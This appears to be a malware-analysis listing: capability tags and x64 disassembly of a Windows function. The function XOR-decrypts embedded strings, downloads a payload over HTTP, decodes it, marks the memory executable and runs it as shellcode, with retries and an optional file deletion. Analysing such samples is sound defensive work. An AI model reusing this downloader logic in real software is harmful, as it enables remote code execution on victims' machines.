Function at 0x14000f1c0
Capabilities:
Allocate or change rwx memory
Create http request
Delete file
Encode data using xor
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
mov ebx, ecx
mov rsi, rdx
call dbg.__main
cmp ebx, 1
jg 0x14000f43c
lea rcx, str.1331243732323f716b706e7e760937303a31292d7e100a7e6f6e706e657e093730686a657e26686a777e1f2e2e323b093b3c15372a716b6d69706d687e7615160a1312727e3237353b7e193b3d3531777e1d362c31333b716f6f6b706e706e706e7e0d3f383f2c37716b6d69706d687e1b3a39716f6f6b706e706f676e6f706f6666
lea rbx, [0x14001113d]
xor edi, edi
call dbg.hex_decode
mov edx, 0x5e
mov rcx, rax
call dbg.xor_decrypt
mov rcx, rbx
mov r13, rax
call dbg.hex_decode
mov edx, 0x5e
mov rcx, rax
call dbg.xor_decrypt
mov rcx, rbx
call dbg.hex_decode
mov edx, 0x5e
mov rcx, rax
call dbg.xor_decrypt
mov r14, rax
nop dword [rax + rax]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x14000f3b6
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x14000f3f8
mov dword [rsp + 0x34], 0
lea r9, [rsp + 0x3c]
mov rcx, rax
lea r8, [rsp + 0x38]
mov dword [rsp + 0x38], 0
mov edx, 0x20000005
mov dword [rsp + 0x3c], 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x14000f3e8
mov r12d, dword [rsp + 0x38]
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x14000f3a5
lea r9, [rsp + 0x34]
mov r8d, r12d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000f388
mov rax, r15
lea rdx, [r12 + r15]
test r12d, r12d
je 0x14000f350
mov rcx, rdx
sub rcx, r15
and ecx, 1
je 0x14000f340
lea rax, [r15 + 1]
xor byte [r15], 0x5e
cmp rdx, rax
je 0x14000f350
nop dword [rax]
xor byte [rax], 0x5e
xor byte [rax + 1], 0x5e
add rax, 2
cmp rdx, rax
jne 0x14000f340
mov rcx, rsi
mov rbp, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbp
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000f411
call r15
jmp 0x14000f240
lea rcx, str.Failed_to_read_file_n
call dbg.printf
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rbx
call rsi
add edi, 1
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 3
jne 0x14000f240
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000f2d5
mov rcx, rbx
add edi, 1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f3c4
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
add edi, 1
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call rbp
mov rcx, rbx
call rbp
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f3c4
mov ecx, 0x800
lea rdi, [rsp + 0x40]
lea rbx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 0x41
xor edx, edx
rep stosq qword [rdi], rax
or r9d, 0xffffffff
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
mov r8, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rsi + 8]
test eax, eax
je 0x14000f49a
lea rcx, str.Deleted_file:__s_n
call dbg.printf
jmp 0x14000f1e6
lea rcx, str.Failed_to_delete_file:__s_n
call dbg.printf
jmp 0x14000f1e6